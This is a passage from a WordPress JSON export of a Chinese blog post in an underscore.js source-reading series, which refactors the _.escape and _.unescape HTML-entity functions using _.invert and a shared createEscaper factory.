    var<\/span> _<\/span> =<\/span> {<\/span>}<\/span>;<\/span>\n\nvar<\/span> unescapeMap<\/span> =<\/span> {<\/span>\n    '&amp;'<\/span>: '&'<\/span>,<\/span>\n    '&lt;'<\/span>: '<'<\/span>,<\/span>\n    '&gt;'<\/span>: '>'<\/span>,<\/span>\n    '&quot;'<\/span>: '\"'<\/span>,<\/span>\n    '&#x27;'<\/span>: \"'\"<\/span>,<\/span>\n    '&#x60;'<\/span>: '`'<\/span>\n}<\/span>;<\/span>\n\n_<\/span>.<\/span>unescape<\/span> =<\/span> function<\/span>(<\/span>string<\/span>)<\/span> {<\/span>\n    var<\/span> escaper<\/span> =<\/span> function<\/span>(<\/span>match<\/span>)<\/span> {<\/span>\n        return<\/span> unescapeMap<\/span>[<\/span>match<\/span>]<\/span>;<\/span>\n    }<\/span>;<\/span>\n    \/\/ \u4f7f\u7528\u975e\u6355\u83b7\u6027\u5206\u7ec4<\/span>\n    var<\/span> source<\/span> =<\/span> '(?:'<\/span> +<\/span> Object<\/span>.<\/span>keys<\/span>(<\/span>unescapeMap<\/span>)<\/span>.<\/span>join<\/span>(<\/span>'|'<\/span>)<\/span> +<\/span> ')'<\/span>;<\/span>\n    console<\/span>.<\/span>log<\/span>(<\/span>source<\/span>)<\/span> \/\/ (?:&|<|>|\"|'|`)<\/span>\n    var<\/span> testRegexp<\/span> =<\/span> RegExp<\/span>(<\/span>source<\/span>)<\/span>;<\/span>\n    var<\/span> replaceRegexp<\/span> =<\/span> RegExp<\/span>(<\/span>source<\/span>,<\/span> 'g'<\/span>)<\/span>;<\/span>\n\n    string<\/span> =<\/span> string<\/span> ==<\/span> null<\/span> ? ''<\/span> : ''<\/span> +<\/span> string<\/span>;<\/span>\n    return<\/span> testRegexp<\/span>.<\/span>test<\/span>(<\/span>string<\/span>)<\/span> ? string<\/span>.<\/span>replace<\/span>(<\/span>replaceRegexp<\/span>,<\/span> escaper<\/span>)<\/span> : string<\/span>;<\/span>\n}<\/span>\n\nconsole<\/span>.<\/span>log<\/span>(<\/span>_<\/span>.<\/span>unescape<\/span>(<\/span>'Curly, Larry &amp; Moe'<\/span>)<\/span>)<\/span> \/\/ Curly, Larry & Moe<\/span><\/pre>\n<\/div>\n
    \u62bd\u8c61<\/h2>\n
    \u4f60\u4f1a\u4e0d\u4f1a\u89c9\u5f97 _.escape<\/code> \u4e0e _.unescape<\/code> \u7684\u4ee3\u7801\u5b9e\u5728\u662f\u592a\u50cf\u4e86\uff0c\u4ee5\u81f3\u4e8e\u8ba9\u4eba\u611f\u89c9\u5f88\u5197\u4f59\u5462\uff1f<\/p>\n
    \u90a3\u4e48\u6211\u4eec\u53c8\u8be5\u5982\u4f55\u4f18\u5316\u5462\uff1f<\/p>\n
    \u6211\u4eec\u53ef\u4ee5\u5148\u5199\u4e00\u4e2a _.invert<\/code> \u51fd\u6570\uff0c\u5c06 escapeMap \u4f20\u5165\u7684\u65f6\u5019\uff0c\u53ef\u4ee5\u5f97\u5230 unescapeMap\uff0c\u7136\u540e\u6211\u4eec\u518d\u6839\u636e\u4f20\u5165\u7684 map (escapeMap \u6216\u8005 unescapeMap) \u4e0d\u540c\uff0c\u8fd4\u56de\u4e0d\u540c\u7684\u51fd\u6570\u3002<\/p>\n
    \u5b9e\u73b0\u7684\u65b9\u5f0f\u5f88\u7b80\u5355\uff0c\u76f4\u63a5\u770b\u4ee3\u7801\uff1a<\/p>\n
    <\/p>\n
    \/**<\/span>\n * \u8fd4\u56de\u4e00\u4e2aobject\u526f\u672c\uff0c\u4f7f\u5176\u952e\uff08keys\uff09\u548c\u503c\uff08values\uff09\u5bf9\u6362\u3002<\/span>\n * _.invert({a: \"b\"});<\/span>\n * => {b: \"a\"};<\/span>\n *\/<\/span>\n_<\/span>.<\/span>invert<\/span> =<\/span> function<\/span>(<\/span>obj<\/span>)<\/span> {<\/span>\n    var<\/span> result<\/span> =<\/span> {<\/span>}<\/span>;<\/span>\n    var<\/span> keys<\/span> =<\/span> Object<\/span>.<\/span>keys<\/span>(<\/span>obj<\/span>)<\/span>;<\/span>\n    for<\/span> (<\/span>var<\/span> i<\/span> =<\/span> 0<\/span>,<\/span> length<\/span> =<\/span> keys<\/span>.<\/span>length<\/span>;<\/span> i<\/span> <<\/span> length<\/span>;<\/span> i<\/span>++<\/span>)<\/span> {<\/span>\n        result<\/span>[<\/span>obj<\/span>[<\/span>keys<\/span>[<\/span>i<\/span>]<\/span>]<\/span>]<\/span> =<\/span> keys<\/span>[<\/span>i<\/span>]<\/span>;<\/span>\n    }<\/span>\n    return<\/span> result<\/span>;<\/span>\n}<\/span>;<\/span>\n\nvar<\/span> escapeMap<\/span> =<\/span> {<\/span>\n    '&'<\/span>: '&amp;'<\/span>,<\/span>\n    '<'<\/span>: '&lt;'<\/span>,<\/span>\n    '>'<\/span>: '&gt;'<\/span>,<\/span>\n    '\"'<\/span>: '&quot;'<\/span>,<\/span>\n    \"'\"<\/span>: '&#x27;'<\/span>,<\/span>\n    '`'<\/span>: '&#x60;'<\/span>\n}<\/span>;<\/span>\nvar<\/span> unescapeMap<\/span> =<\/span> _<\/span>.<\/span>invert<\/span>(<\/span>escapeMap<\/span>)<\/span>;<\/span>\n\nvar<\/span> createEscaper<\/span> =<\/span> function<\/span>(<\/span>map<\/span>)<\/span> {<\/span>\n    var<\/span> escaper<\/span> =<\/span> function<\/span>(<\/span>match<\/span>)<\/span> {<\/span>\n        return<\/span> map<\/span>[<\/span>match<\/span>]<\/span>;<\/span>\n    }<\/span>;<\/span>\n    \/\/ \u4f7f\u7528\u975e\u6355\u83b7\u6027\u5206\u7ec4<\/span>\n    var<\/span> source<\/span> =<\/span> '(?:'<\/span> +<\/span> _<\/span>.<\/span>keys<\/span>(<\/span>map<\/span>)<\/span>.<\/span>join<\/span>(<\/span>'|'<\/span>)<\/span> +<\/span> ')'<\/span>;<\/span>\n    var<\/span> testRegexp<\/span> =<\/span> RegExp<\/span>(<\/span>source<\/span>)<\/span>;<\/span>\n    var<\/span> replaceRegexp<\/span> =<\/span> RegExp<\/span>(<\/span>source<\/span>,<\/span> 'g'<\/span>)<\/span>;<\/span>\n    return<\/span> function<\/span>(<\/span>string<\/span>)<\/span> {<\/span>\n        string<\/span> =<\/span> string<\/span> ==<\/span> null<\/span> ? ''<\/span> : ''<\/span> +<\/span> string<\/span>;<\/span>\n        return<\/span> testRegexp<\/span>.<\/span>test<\/span>(<\/span>string<\/span>)<\/span> ? string<\/span>.<\/span>replace<\/span>(<\/span>replaceRegexp<\/span>,<\/span> escaper<\/span>)<\/span> : string<\/span>;<\/span>\n    }<\/span>;<\/span>\n}<\/span>;<\/span>\n\n_<\/span>.<\/span>escape<\/span> =<\/span> createEscaper<\/span>(<\/span>escapeMap<\/span>)<\/span>;<\/span>\n_<\/span>.<\/span>unescape<\/span> =<\/span> createEscaper<\/span>(<\/span>unescapeMap<\/span>)<\/span>;<\/span><\/pre>\n<\/div>\n
    underscore \u7cfb\u5217<\/h2>\n
    underscore \u7cfb\u5217\u76ee\u5f55\u5730\u5740\uff1ahttps:\/\/github.com\/mqyqingfeng\/Blog<\/a>\u3002<\/p>\n
    underscore \u7cfb\u5217\u9884\u8ba1\u5199\u516b\u7bc7\u5de6\u53f3\uff0c\u91cd\u70b9\u4ecb\u7ecd underscore \u4e2d\u7684\u4ee3\u7801\u67b6\u6784\u3001\u94fe\u5f0f\u8c03\u7528\u3001\u5185\u90e8\u51fd\u6570\u3001\u6a21\u677f\u5f15\u64ce\u7b49\u5185\u5bb9\uff0c\u65e8\u5728\u5e2e\u52a9\u5927\u5bb6\u9605\u8bfb\u6e90\u7801\uff0c\u4ee5\u53ca\u5199\u51fa\u81ea\u5df1\u7684 undercore\u3002<\/p>\n<\/td>\n
    \u6587\u7ae0\u8f6c\u8f7d\u81eahttps:\/\/github.com\/mqyqingfeng\/Blog\/issues\/77<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
    \u524d\u8a00 underscore \u63d0\u4f9b\u4e86 _.escape \u51fd\u6570\uff0c\u7528\u4e8e\u8f6c\u4e49 HTML \u5b57\u7b26\u4e32\uff0c\u66ff\u6362 &, <, >, “, &#821…<\/p>\n
     Read More  Read More<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1364","post","type-post","status-publish","format-standard","hentry","category-learn"],"_links":{"self":[{"href":"https:\/\/www.lccc.top\/index.php?rest_route=\/wp\/v2\/posts\/1364"}],"collection":[{"href":"https:\/\/www.lccc.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lccc.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lccc.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lccc.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1364"}],"version-history":[{"count":1,"href":"https:\/\/www.lccc.top\/index.php?rest_route=\/wp\/v2\/posts\/1364\/revisions"}],"predecessor-version":[{"id":1477,"href":"https:\/\/www.lccc.top\/index.php?rest_route=\/wp\/v2\/posts\/1364\/revisions\/1477"}],"wp:attachment":[{"href":"https:\/\/www.lccc.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1364"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lccc.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1364"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lccc.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1364"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}